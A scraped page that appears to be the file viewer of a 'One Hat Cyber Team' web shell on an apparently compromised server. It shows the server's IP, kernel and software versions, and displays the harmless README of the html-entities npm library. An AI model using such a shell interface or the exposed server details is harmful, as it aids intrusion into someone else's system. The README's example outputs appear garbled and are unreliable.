⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
html-entities
/
View File Name :
README.md
html-entities ============= [](https://travis-ci.org/mdevils/node-html-entities) [](https://coveralls.io/github/mdevils/node-html-entities?branch=master) Fast html entities library. Installation ------------ ```bash $ npm install html-entities ``` Usage ----- **XML entities** HTML validity and XSS attack prevention you can achieve from XmlEntities class. ```javascript const Entities = require('html-entities').XmlEntities; const entities = new Entities(); console.log(entities.encode('<>"\'&©®')); // <>"'&©® console.log(entities.encodeNonUTF('<>"\'&©®')); // <>"'&©® console.log(entities.encodeNonASCII('<>"\'&©®')); // <>"\'&©® console.log(entities.decode('<>"'&©®∆')); // <>"'&©®∆ ``` **All HTML entities encoding/decoding** ```javascript const Entities = require('html-entities').AllHtmlEntities; const entities = new Entities(); console.log(entities.encode('<>"&©®∆')); // <>"&©®∆ console.log(entities.encodeNonUTF('<>"&©®∆')); // <>"&©®∆ console.log(entities.encodeNonASCII('<>"&©®∆')); // <>"&©®∆ console.log(entities.decode('<>"&©®')); // <>"&©® ``` **Available classes** ```javascript const XmlEntities = require('html-entities').XmlEntities, // <>"'& + &#...; decoding Html4Entities = require('html-entities').Html4Entities, // HTML4 entities. Html5Entities = require('html-entities').Html5Entities, // HTML5 entities. AllHtmlEntities = require('html-entities').AllHtmlEntities; // Synonym for HTML5 entities. ``` Supports four methods for every class: * encode — encodes, replacing characters to its entity representations. Ignores UTF characters with no entity representation. * encodeNonUTF — encodes, replacing characters to its entity representations. Inserts numeric entities for UTF characters. * encodeNonASCII — encodes, replacing only non-ASCII characters to its numeric entity representations. * decode — decodes, replacing entities to characters. Unknown entities are left as is.